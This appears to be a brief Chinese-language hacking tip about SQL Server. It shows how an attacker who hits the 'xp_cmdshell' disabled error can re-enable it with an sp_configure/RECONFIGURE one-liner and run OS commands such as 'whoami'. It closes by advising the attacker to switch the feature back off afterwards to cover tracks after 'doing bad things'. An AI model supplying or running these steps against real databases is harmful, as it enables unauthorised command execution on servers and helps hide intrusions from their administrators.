SQL Server 阻止了對組件 'xp_cmdshell' 的 過程 'sys.xp_cmdshell' 的訪問，因為此組件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關(guān)啟用 'xp_cmdshell' 的詳細信息，請參閱 SQL Server 聯(lián)機叢書中的 "外圍應(yīng)用配置器"。

幸運的是：只要該擴展存儲過程沒被刪除，我們就可以一句話啟用它(不支持多句執(zhí)行的話，請單獨執(zhí)行每句)：

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

好了，來試試！

exec master..xp_cmdshell "whoami"

PS:干完壞事要擦PP哦！將開啟語句的第二個1改成0再執(zhí)行，xp_cmdshell就又處于禁用狀態(tài)了